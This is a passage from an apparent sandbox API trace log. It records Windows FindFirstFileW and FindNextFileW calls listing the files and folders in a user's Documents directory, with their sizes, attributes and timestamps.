| out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa257e1b0, ftCreationTime.dwHighDateTime=0x1d5b023, ftLastAccessTime.dwLowDateTime=0x1f05260, ftLastAccessTime.dwHighDateTime=0x1d5cebf, ftLastWriteTime.dwLowDateTime=0x1f05260, ftLastWriteTime.dwHighDateTime=0x1d5cebf, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMMKND.pptx", cAlternateFileName="GMMKND~1.PPT")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46ad3190, ftCreationTime.dwHighDateTime=0x1d61701, ftLastAccessTime.dwLowDateTime=0xd502d2b0, ftLastAccessTime.dwHighDateTime=0x1d5fe92, ftLastWriteTime.dwLowDateTime=0xd502d2b0, ftLastWriteTime.dwHighDateTime=0x1d5fe92, nFileSizeHigh=0x0, nFileSizeLow=0x773d, dwReserved0=0x0, dwReserved1=0x0, cFileName="hHZ G0S-qW5h.docx", cAlternateFileName="HHZG0S~1.DOC")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf017560, ftCreationTime.dwHighDateTime=0x1d5df71, ftLastAccessTime.dwLowDateTime=0x996c2380, ftLastAccessTime.dwHighDateTime=0x1d61f64, ftLastWriteTime.dwLowDateTime=0x996c2380, ftLastWriteTime.dwHighDateTime=0x1d61f64, nFileSizeHigh=0x0, nFileSizeLow=0x9e4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="hkcAXQ8C.pptx", cAlternateFileName="HKCAXQ~1.PPT")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea41960, ftCreationTime.dwHighDateTime=0x1d619ec, ftLastAccessTime.dwLowDateTime=0xe917370, ftLastAccessTime.dwHighDateTime=0x1d5c634, ftLastWriteTime.dwLowDateTime=0xe917370, ftLastWriteTime.dwHighDateTime=0x1d5c634, nFileSizeHigh=0x0, nFileSizeLow=0x17278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hlWJ6sXw.pptx", cAlternateFileName="HLWJ6S~1.PPT")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c7d5d0, ftCreationTime.dwHighDateTime=0x1d5dbae, ftLastAccessTime.dwLowDateTime=0x79ae3c60, ftLastAccessTime.dwHighDateTime=0x1d6322c, ftLastWriteTime.dwLowDateTime=0x79ae3c60, ftLastWriteTime.dwHighDateTime=0x1d6322c, nFileSizeHigh=0x0, nFileSizeLow=0x89a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOekKHKlaf9xQs.docx", cAlternateFileName="HOEKKH~1.DOC")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c591230, ftCreationTime.dwHighDateTime=0x1d62bb7, ftLastAccessTime.dwLowDateTime=0x57a5c370, ftLastAccessTime.dwHighDateTime=0x1d5aaed, ftLastWriteTime.dwLowDateTime=0x57a5c370, ftLastWriteTime.dwHighDateTime=0x1d5aaed, nFileSizeHigh=0x0, nFileSizeLow=0xa0a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="JBRrY.xlsx", cAlternateFileName="JBRRY~1.XLS")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd71912f0, ftCreationTime.dwHighDateTime=0x1d5c312, ftLastAccessTime.dwLowDateTime=0x1f6d4be0, ftLastAccessTime.dwHighDateTime=0x1d5d33d, ftLastWriteTime.dwLowDateTime=0x1f6d4be0, ftLastWriteTime.dwHighDateTime=0x1d5d33d, nFileSizeHigh=0x0, nFileSizeLow=0x1757a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr2TM-JRUfQjhm2.docx", cAlternateFileName="MR2TM-~1.DOC")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0086.366] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f01bc0, ftCreationTime.dwHighDateTime=0x1d63027, ftLastAccessTime.dwLowDateTime=0x7b5e4e60, ftLastAccessTime.dwHighDateTime=0x1d63060, ftLastWriteTime.dwLowDateTime=0x7b5e4e60, ftLastWriteTime.dwHighDateTime=0x1d63060, nFileSizeHigh=0x0, nFileSizeLow=0x9ad6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mz-cqhEQRev5CsESAQM.xls", cAlternateFileName="MZ-CQH~1.XLS")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa73182d0, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x5ee892ad, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x5ee892ad, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7b4050, ftCreationTime.dwHighDateTime=0x1d62b21, ftLastAccessTime.dwLowDateTime=0x159ecde0, ftLastAccessTime.dwHighDateTime=0x1d6331f, ftLastWriteTime.dwLowDateTime=0x159ecde0, ftLastWriteTime.dwHighDateTime=0x1d6331f, nFileSizeHigh=0x0, nFileSizeLow=0x8339, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="slmtQCK1Eu.xlsx", cAlternateFileName="SLMTQC~1.XLS")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98af55c0, ftCreationTime.dwHighDateTime=0x1d5ed28, ftLastAccessTime.dwLowDateTime=0x12b097e0, ftLastAccessTime.dwHighDateTime=0x1d6078b, ftLastWriteTime.dwLowDateTime=0x12b097e0, ftLastWriteTime.dwHighDateTime=0x1d6078b, nFileSizeHigh=0x0, nFileSizeLow=0xf391, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uGneum1wot4o.docx", cAlternateFileName="UGNEUM~1.DOC")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b299280, ftCreationTime.dwHighDateTime=0x1d62f8c, ftLastAccessTime.dwLowDateTime=0x55ab08c0, ftLastAccessTime.dwHighDateTime=0x1d5a9d8, ftLastWriteTime.dwLowDateTime=0x55ab08c0, ftLastWriteTime.dwHighDateTime=0x1d5a9d8, nFileSizeHigh=0x0, nFileSizeLow=0xc072, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VOd-mSROd.xlsx", cAlternateFileName="VOD-MS~1.XLS")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb4303bc0, ftCreationTime.dwHighDateTime=0x1d62b7b, ftLastAccessTime.dwLowDateTime=0x8bec5b40, ftLastAccessTime.dwHighDateTime=0x1d625cb, ftLastWriteTime.dwLowDateTime=0x8bec5b40, ftLastWriteTime.dwHighDateTime=0x1d625cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yo-dT72O3-", cAlternateFileName="YO-DT7~1")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a2c4d0, ftCreationTime.dwHighDateTime=0x1d625e0, ftLastAccessTime.dwLowDateTime=0xe7484400, ftLastAccessTime.dwHighDateTime=0x1d62778, ftLastWriteTime.dwLowDateTime=0xe7484400, ftLastWriteTime.dwHighDateTime=0x1d62778, nFileSizeHigh=0x0, nFileSizeLow=0x12fde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Z 3 OfXkyD95x_aeC.pps", cAlternateFileName="Z3OFXK~1.PPS")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab7f900, ftCreationTime.dwHighDateTime=0x1d5e990, ftLastAccessTime.dwLowDateTime=0xcae163b0, ftLastAccessTime.dwHighDateTime=0x1d6147b, ftLastWriteTime.dwLowDateTime=0xcae163b0, ftLastWriteTime.dwHighDateTime=0x1d6147b, nFileSizeHigh=0x0, nFileSizeLow=0x13ba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZBHwoG0v XRuX0 c7L.xlsx", cAlternateFileName="ZBHWOG~1.XLS")) returned 1 [0086.367] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3a3fd0, ftCreationTime.dwHighDateTime=0x1d5fbcf, ftLastAccessTime.dwLowDateTime=0x3e073820, ftLastAccessTime.dwHighDateTime=0x1d621eb, ftLastWriteTime.dwLowDateTime=0x3e073820, ftLastWriteTime.dwHighDateTime=0x1d621eb, nFileSizeHigh=0x0, nFileSizeLow=0x154a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZIiwHk rzy8738q.xlsx", cAlternateFileName="ZIIWHK~1.XLS")) returned 1 [0086.368] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd6230, ftCreationTime.dwHighDateTime=0x1d626e0, ftLastAccessTime.dwLowDateTime=0x3e0d97f0, ftLastAccessTime.dwHighDateTime=0x1d62755, ftLastWriteTime.dwLowDateTime=0x3e0d97f0, ftLastWriteTime.dwHighDateTime=0x1d62755, nFileSizeHigh=0x0, nFileSizeLow=0x1186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_DXrqG2.xls", cAlternateFileName="")) returned 1 [0086.368] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dd6230, ftCreationTime.dwHighDateTime=0x1d626e0, ftLastAccessTime.dwLowDateTime=0x3e0d97f0, ftLastAccessTime.dwHighDateTime=0x1d62755, ftLastWriteTime.dwLowDateTime=0x3e0d97f0, ftLastWriteTime.dwHighDateTime=0x1d62755, nFileSizeHigh=0x0, nFileSizeLow=0x1186, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_DXrqG2.xls", cAlternateFileName="")) returned 0 [0086.368] FindClose (in: hFindFile=0x1ae50730 | out: hFindFile=0x1ae50730) returned 1 [0086.368] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7a36b7, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7a36b7, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50610 [0086.368] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7a36b7, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7a36b7, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.368] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b860f0, ftCreationTime.dwHighDateTime=0x1d5f4c4, ftLastAccessTime.dwLowDateTime=0x5ebb0500, ftLastAccessTime.dwHighDateTime=0x1d5d07a, ftLastWriteTime.dwLowDateTime=0x5ebb0500, ftLastWriteTime.dwHighDateTime=0x1d5d07a, nFileSizeHigh=0x0, nFileSizeLow=0x152c, dwReserved0=0x0, dwReserved1=0x0, cFileName="0fhYK7 ZAn.docx", cAlternateFileName="0FHYK7~1.DOC")) returned 1 [0086.368] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd60bb280, ftCreationTime.dwHighDateTime=0x1d62958, ftLastAccessTime.dwLowDateTime=0x211994c0, ftLastAccessTime.dwHighDateTime=0x1d62fe1, ftLastWriteTime.dwLowDateTime=0x211994c0, ftLastWriteTime.dwHighDateTime=0x1d62fe1, nFileSizeHigh=0x0, nFileSizeLow=0xaa5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="30Fhx80NZcT_HiY.xls", cAlternateFileName="30FHX8~1.XLS")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82639f0, ftCreationTime.dwHighDateTime=0x1d5b505, ftLastAccessTime.dwLowDateTime=0x285c4fa0, ftLastAccessTime.dwHighDateTime=0x1d5d07f, ftLastWriteTime.dwLowDateTime=0x285c4fa0, ftLastWriteTime.dwHighDateTime=0x1d5d07f, nFileSizeHigh=0x0, nFileSizeLow=0x178ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="6FWSuY_NqiSfv927PK.pptx", cAlternateFileName="6FWSUY~1.PPT")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa392bab0, ftCreationTime.dwHighDateTime=0x1d5a9d8, ftLastAccessTime.dwLowDateTime=0x7835e2d0, ftLastAccessTime.dwHighDateTime=0x1d5ccd7, ftLastWriteTime.dwLowDateTime=0x7835e2d0, ftLastWriteTime.dwHighDateTime=0x1d5ccd7, nFileSizeHigh=0x0, nFileSizeLow=0xf0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="77VtTDD.pptx", cAlternateFileName="77VTTD~1.PPT")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49453450, ftCreationTime.dwHighDateTime=0x1d6330a, ftLastAccessTime.dwLowDateTime=0xd7ad7b70, ftLastAccessTime.dwHighDateTime=0x1d62ba4, ftLastWriteTime.dwLowDateTime=0xd7ad7b70, ftLastWriteTime.dwHighDateTime=0x1d62ba4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="936-YDa6e2qqw", cAlternateFileName="936-YD~1")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x415a640, ftCreationTime.dwHighDateTime=0x1d62328, ftLastAccessTime.dwLowDateTime=0x48310bc0, ftLastAccessTime.dwHighDateTime=0x1d62491, ftLastWriteTime.dwLowDateTime=0x48310bc0, ftLastWriteTime.dwHighDateTime=0x1d62491, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Lfd9", cAlternateFileName="")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75bdd7d0, ftCreationTime.dwHighDateTime=0x1d60457, ftLastAccessTime.dwLowDateTime=0xfd408dd0, ftLastAccessTime.dwHighDateTime=0x1d62561, ftLastWriteTime.dwLowDateTime=0xfd408dd0, ftLastWriteTime.dwHighDateTime=0x1d62561, nFileSizeHigh=0x0, nFileSizeLow=0x87c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cqgQYnfVItPQOu.xlsx", cAlternateFileName="CQGQYN~1.XLS")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa257e1b0, ftCreationTime.dwHighDateTime=0x1d5b023, ftLastAccessTime.dwLowDateTime=0x1f05260, ftLastAccessTime.dwHighDateTime=0x1d5cebf, ftLastWriteTime.dwLowDateTime=0x1f05260, ftLastWriteTime.dwHighDateTime=0x1d5cebf, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMMKND.pptx", cAlternateFileName="GMMKND~1.PPT")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46ad3190, ftCreationTime.dwHighDateTime=0x1d61701, ftLastAccessTime.dwLowDateTime=0xd502d2b0, ftLastAccessTime.dwHighDateTime=0x1d5fe92, ftLastWriteTime.dwLowDateTime=0xd502d2b0, ftLastWriteTime.dwHighDateTime=0x1d5fe92, nFileSizeHigh=0x0, nFileSizeLow=0x773d, dwReserved0=0x0, dwReserved1=0x0, cFileName="hHZ G0S-qW5h.docx", cAlternateFileName="HHZG0S~1.DOC")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf017560, ftCreationTime.dwHighDateTime=0x1d5df71, ftLastAccessTime.dwLowDateTime=0x996c2380, ftLastAccessTime.dwHighDateTime=0x1d61f64, ftLastWriteTime.dwLowDateTime=0x996c2380, ftLastWriteTime.dwHighDateTime=0x1d61f64, nFileSizeHigh=0x0, nFileSizeLow=0x9e4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="hkcAXQ8C.pptx", cAlternateFileName="HKCAXQ~1.PPT")) returned 1 [0086.369] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea41960, ftCreationTime.dwHighDateTime=0x1d619ec, ftLastAccessTime.dwLowDateTime=0xe917370, ftLastAccessTime.dwHighDateTime=0x1d5c634, ftLastWriteTime.dwLowDateTime=0xe917370, ftLastWriteTime.dwHighDateTime=0x1d5c634, nFileSizeHigh=0x0, nFileSizeLow=0x17278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hlWJ6sXw.pptx", cAlternateFileName="HLWJ6S~1.PPT")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c7d5d0, ftCreationTime.dwHighDateTime=0x1d5dbae, ftLastAccessTime.dwLowDateTime=0x79ae3c60, ftLastAccessTime.dwHighDateTime=0x1d6322c, ftLastWriteTime.dwLowDateTime=0x79ae3c60, ftLastWriteTime.dwHighDateTime=0x1d6322c, nFileSizeHigh=0x0, nFileSizeLow=0x89a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOekKHKlaf9xQs.docx", cAlternateFileName="HOEKKH~1.DOC")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c591230, ftCreationTime.dwHighDateTime=0x1d62bb7, ftLastAccessTime.dwLowDateTime=0x57a5c370, ftLastAccessTime.dwHighDateTime=0x1d5aaed, ftLastWriteTime.dwLowDateTime=0x57a5c370, ftLastWriteTime.dwHighDateTime=0x1d5aaed, nFileSizeHigh=0x0, nFileSizeLow=0xa0a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="JBRrY.xlsx", cAlternateFileName="JBRRY~1.XLS")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd71912f0, ftCreationTime.dwHighDateTime=0x1d5c312, ftLastAccessTime.dwLowDateTime=0x1f6d4be0, ftLastAccessTime.dwHighDateTime=0x1d5d33d, ftLastWriteTime.dwLowDateTime=0x1f6d4be0, ftLastWriteTime.dwHighDateTime=0x1d5d33d, nFileSizeHigh=0x0, nFileSizeLow=0x1757a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr2TM-JRUfQjhm2.docx", cAlternateFileName="MR2TM-~1.DOC")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc1a0f60e, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc1bc4716, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc1bc4716, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f01bc0, ftCreationTime.dwHighDateTime=0x1d63027, ftLastAccessTime.dwLowDateTime=0x7b5e4e60, ftLastAccessTime.dwHighDateTime=0x1d63060, ftLastWriteTime.dwLowDateTime=0x7b5e4e60, ftLastWriteTime.dwHighDateTime=0x1d63060, nFileSizeHigh=0x0, nFileSizeLow=0x9ad6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mz-cqhEQRev5CsESAQM.xls", cAlternateFileName="MZ-CQH~1.XLS")) returned 1 [0086.370] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71ebb0 | out: 